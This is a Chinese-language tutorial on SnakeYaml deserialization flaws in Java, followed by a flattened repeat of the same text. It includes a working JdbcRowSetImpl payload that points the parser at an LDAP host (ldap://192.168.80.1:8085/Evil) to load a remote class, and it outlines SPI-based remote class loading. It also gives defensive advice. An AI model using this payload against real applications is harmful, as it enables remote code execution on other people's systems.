深入浅出SnakeYaml反序列化
字数 1489 2025-08-20 18:17:58

SnakeYaml反序列化漏洞深入解析

1. SnakeYaml简介

SnakeYaml是Java的YAML解析类库,支持Java对象的序列化/反序列化。它使用缩进代表层级关系(只能用空格,不能用TAB)。

YAML基本语法

  1. 对象

    • 使用冒号表示,格式为key: value(冒号后要加空格)
    • 缩进表示层级关系:
      key:
        child-key: value
        child-key2: value2
      
  2. 数组

    • 使用短横线加空格表示数组项:
      hobby:
        - Java
        - LOL
      
  3. 常量类型

    • 支持多种常量结构:整数、浮点数、字符串、NULL、日期、布尔、时间
    • 示例:
      boolean:
        - TRUE  # true,True都可以
        - FALSE # false,False都可以
      float:
        - 3.14
        - 6.8523015e+5  # 科学计数法
      int:
        - 123
        - 0b1010_0111_0100_1010_1110  # 二进制表示
      null:
        nodeName: 'node'
        parent: ~  # 使用~表示null
      string:
        - 哈哈
        - 'Hello world'  # 双引号或单引号包裹特殊字符
        - newline newline2  # 多行字符串会转化为空格
      date:
        - 2022-07-28  # ISO 8601格式(yyyy-MM-dd)
      datetime:
        - 2022-07-28T15:02:31+08:00  # ISO 8601格式,T连接时间日期,+表示时区
      

2. SnakeYaml反序列化漏洞

基本利用方式

SnakeYaml提供了两个关键函数:

  • Yaml.load():将YAML字符串或文件反序列化为Java对象
  • Yaml.dump():将Java对象序列化为YAML格式

漏洞点

  • 反序列化时可以用!!指定类名(类似Fastjson)
  • 通过setter方法赋值
  • 全版本可利用(示例使用1.27版本)

JdbcRowSetImpl利用链

public static void main(String[] args) throws Exception {
    String str = "!!com.sun.rowset.JdbcRowSetImpl\n" + 
                 "{\n" + 
                 "dataSourceName: ldap://192.168.80.1:8085/Evil,\n" + 
                 "autoCommit: false\n" + 
                 "}";
    Yaml yaml = new Yaml();
    yaml.load(str);
}

注意事项

  • SnakeYaml不能互转false0,payload中必须使用false
  • 与Fastjson类似,可以使用JdbcRowSetImpl进行利用

ScriptEngineManager利用链(SPI机制)

SPI机制原理

Java SPI (Service Provider Interface)是一种服务发现机制,允许运行时动态加载实现特定接口的类。

关键流程

  1. 使用ServiceLoader.load(Class<T> service)加载服务
  2. 检查META-INF/services目录下是否存在以接口全限定名命名的文件
  3. 读取文件内容获取实现类的全限定名
  4. 通过Class.forName()加载对应类

特点

  • 返回懒加载迭代器(LazyIterator)
  • 只有在遍历迭代器时才会按需加载类和创建实例

SPI源码分析

  1. ServiceLoader.load(Class<T> service)调用重载方法
  2. 构造函数调用reload()
  3. reload()生成LazyIterator
  4. LazyIterator关键方法:
    • hasNext()hasNextService()
    • next()nextService()
  5. hasNextService()
    • 获取类路径为META-INF/services/+类名
    • 使用getResource获取configs路径
    • 解析configs文件
  6. nextService()
    • 完成Class.forName初始化
    • 执行newInstance实例化

漏洞利用思路

如果load的参数可以是HTTP URL,则ServiceLoader.load可能加载远程META-INF/services下的恶意类。

SPI正常使用示例

  1. 定义接口
  2. 创建实现类
  3. 配置文件:
    • META-INF/services目录下创建以接口全限定名命名的文件
    • 文件内容为实现类的全限定名(每行一个)

3. 防御建议

  1. 避免反序列化不可信数据
  2. 使用安全配置或白名单限制可反序列化的类
  3. 及时更新到安全版本(如果有)
  4. 对YAML输入进行严格验证

4. 总结

SnakeYaml的反序列化漏洞主要源于:

  1. 允许通过!!指定任意类进行实例化
  2. 通过setter方法进行属性赋值
  3. 可利用Java内置的危险类(如JdbcRowSetImpl
  4. 结合SPI机制可能实现远程类加载

理解这些机制对于防御YAML反序列化攻击至关重要。

SnakeYaml反序列化漏洞深入解析 1. SnakeYaml简介 SnakeYaml是Java的YAML解析类库,支持Java对象的序列化/反序列化。它使用缩进代表层级关系(只能用空格,不能用TAB)。 YAML基本语法 对象 : 使用冒号表示,格式为 key: value (冒号后要加空格) 缩进表示层级关系: 数组 : 使用短横线加空格表示数组项: 常量类型 : 支持多种常量结构:整数、浮点数、字符串、NULL、日期、布尔、时间 示例: 2. SnakeYaml反序列化漏洞 基本利用方式 SnakeYaml提供了两个关键函数: Yaml.load() :将YAML字符串或文件反序列化为Java对象 Yaml.dump() :将Java对象序列化为YAML格式 漏洞点 : 反序列化时可以用 !! 指定类名(类似Fastjson) 通过setter方法赋值 全版本可利用(示例使用1.27版本) JdbcRowSetImpl利用链 注意事项 : SnakeYaml不能互转 false 和 0 ,payload中必须使用 false 与Fastjson类似,可以使用 JdbcRowSetImpl 进行利用 ScriptEngineManager利用链(SPI机制) SPI机制原理 Java SPI (Service Provider Interface)是一种服务发现机制,允许运行时动态加载实现特定接口的类。 关键流程 : 使用 ServiceLoader.load(Class<T> service) 加载服务 检查 META-INF/services 目录下是否存在以接口全限定名命名的文件 读取文件内容获取实现类的全限定名 通过 Class.forName() 加载对应类 特点 : 返回懒加载迭代器(LazyIterator) 只有在遍历迭代器时才会按需加载类和创建实例 SPI源码分析 ServiceLoader.load(Class<T> service) 调用重载方法 构造函数调用 reload() reload() 生成 LazyIterator LazyIterator 关键方法: hasNext() → hasNextService() next() → nextService() hasNextService() : 获取类路径为 META-INF/services/ +类名 使用 getResource 获取configs路径 解析configs文件 nextService() : 完成 Class.forName 初始化 执行 newInstance 实例化 漏洞利用思路 如果 load 的参数可以是HTTP URL,则 ServiceLoader.load 可能加载远程 META-INF/services 下的恶意类。 SPI正常使用示例 定义接口 创建实现类 配置文件: 在 META-INF/services 目录下创建以接口全限定名命名的文件 文件内容为实现类的全限定名(每行一个) 3. 防御建议 避免反序列化不可信数据 使用安全配置或白名单限制可反序列化的类 及时更新到安全版本(如果有) 对YAML输入进行严格验证 4. 总结 SnakeYaml的反序列化漏洞主要源于: 允许通过 !! 指定任意类进行实例化 通过setter方法进行属性赋值 可利用Java内置的危险类(如 JdbcRowSetImpl ) 结合SPI机制可能实现远程类加载 理解这些机制对于防御YAML反序列化攻击至关重要。